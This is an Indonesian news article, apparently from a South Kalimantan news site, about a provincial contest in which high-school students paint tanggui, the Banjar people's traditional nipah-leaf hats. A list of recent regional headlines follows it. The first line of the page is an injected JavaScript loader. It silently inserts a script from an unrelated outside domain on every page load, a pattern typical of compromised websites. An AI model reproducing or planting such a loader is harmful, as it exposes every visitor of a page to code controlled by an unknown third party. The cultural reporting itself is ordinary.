(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Budaya

Mengangkat Budaya Urang Banjar Lewat Kreasi Lukisan di Atas Tanggui


BANJARBARU, Bagaimana jadinya jika tanggui hasil olah tangan, turun temurun hasil budaya Urang Banjar dilukis?. Berlatar ide kreatif melestarikan produk hand made itulah, digelar lomba melukis di atas media tanggui oleh Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan.

Lomba melukis di atas media tanggui khusus kalangan SMA/MA sederajat, berlangsung di Depo Arsip Dispersip Kalsel di Banjarbaru, Sabtu (1/9).

Kepala Dispersip Kalsel Hj Nurliani Dardie mengatakan, melalui lomba ini selain menyalurkan jiwa seni generasi muda juga melestarikan budaya daerah.

“Pesan kami, budaya jangan sampai hilang, ini sudah turun temurun,” ujarnya.

Dikreasikan dengan cat warna-warni. Ada pula yang melapisnya dengan beledru dan payet. “Namanya juga dihias, tampilannya akan jauh lebih cantik dan nilai ekonomi meningkat,” ujar Bunda Nunung -biasa disapa-.

Bunda Nunung berharap gelaran ini menjadi ajang promosi gencar seputar tanggui. Selain untuk meningkatkan nilai tambah, ia tak ingin keberadaan tanggui tergerus oleh perkembangan zaman.



“Ini sudah ada sejak zaman nenek moyang kita dulu. Fungsinya mungkin boleh berubah, tapi jangan sampai tanggui hilang dan tidak dikenal oleh masyarakatnya sendiri,” tegas Bunda Nunung.

Sekadar diketahui, tanggui adalah kelengkapan masyarajat saat bekerja di sawah, ladang, sungai. “Generasi muda harus tahu budaya daerah kita,” ucapnya.

Tanggui itu tidak hanya digunakan ke sungai, tetapi juga petani dan nelayan untuk menghindari terik matahari dan hujan. Dan lazimnya tanggui digunakan oleh perempuan.

Bahan pembuatan tanggui, berasal dari pohon nipah. Daun nipah inilah yang akan disulap menjadi tanggui. Penutup kepala berbentuk bundar.

Dipakai masyarakat Banjar untuk bertani, walau bermunculan jenis penutup kepala, pembuatan tanggui tak pernah berhenti. Setiap hari tanggui dibuat dan dipasarkan ke berbagai kabupaten di Kalsel. Perempuan di pedesaan yang sering mengenakan penutup kepala yang terbuat dari daun nipah kering berbentuk setengah lingkaran ini. (bie)

Reporter : Bie
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Dua Hari Kunjungan Khusus di Lapas Banjarbaru saat Momen Lebaran

KANALKALIMANTAN.COM, BANJARBARU - Libur Lebaran Idulfitri menjadi momen spesial satu tahun sekali yang dilaksanakan oleh… Read More

9 menit ago

Ada Peristiwa Tertinggal saat Rekontruksi Pembunuhan Juwita, Begini Kata Tim Kuasa Hukum

KANALKALIMANTAN.COM, BANJARBARU - Reka adegan atau rekontruksi pembunuhan berencana yang dilakukan Jumran, anggota TNI AL… Read More

15 jam ago

Hadapi Porprov XII Kalsel, PBSI Balangan Gelar Seleksi Atlet

KANALKALIMANTAN.COM, PARINGIN - Pengurus Kabupaten (Pengkab) Persatuan Bulutangkis Seluruh Indonesia (PBSI) Balangan menggelar seleksi atlet… Read More

17 jam ago

Reka Adegan Jumran Habisi Juwita, Dipiting Lalu Dicekik

KANALKALIMANTAN.COM, BANJARBARU - Jumran melakukan reka adegan pembunuhan berencana yang dilakukan kepada Juwita, seorang jurnalis… Read More

19 jam ago

Dinsos Kalsel Salurkan Bantuan Banjir di Desa Pondok Babaris, Ini Kata Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Sinergisitas antara Pemerintah Kabupaten Hulu Sungai Utara dengan Pemerintah Provinsi Kalimantan Selatan… Read More

1 hari ago

Kuasa Hukum Ungkap Kronologi Indikasi Rudapaksa hingga Terbunuhnya Juwita di Tangan Jumran

KANALKALIMANTAN.COM, BANJARBARU – Fakta terbaru terkait dugaan rudapaksa oleh tersangka Jumran, anggota TNI Angkatan Laut… Read More

2 hari ago

This website uses cookies.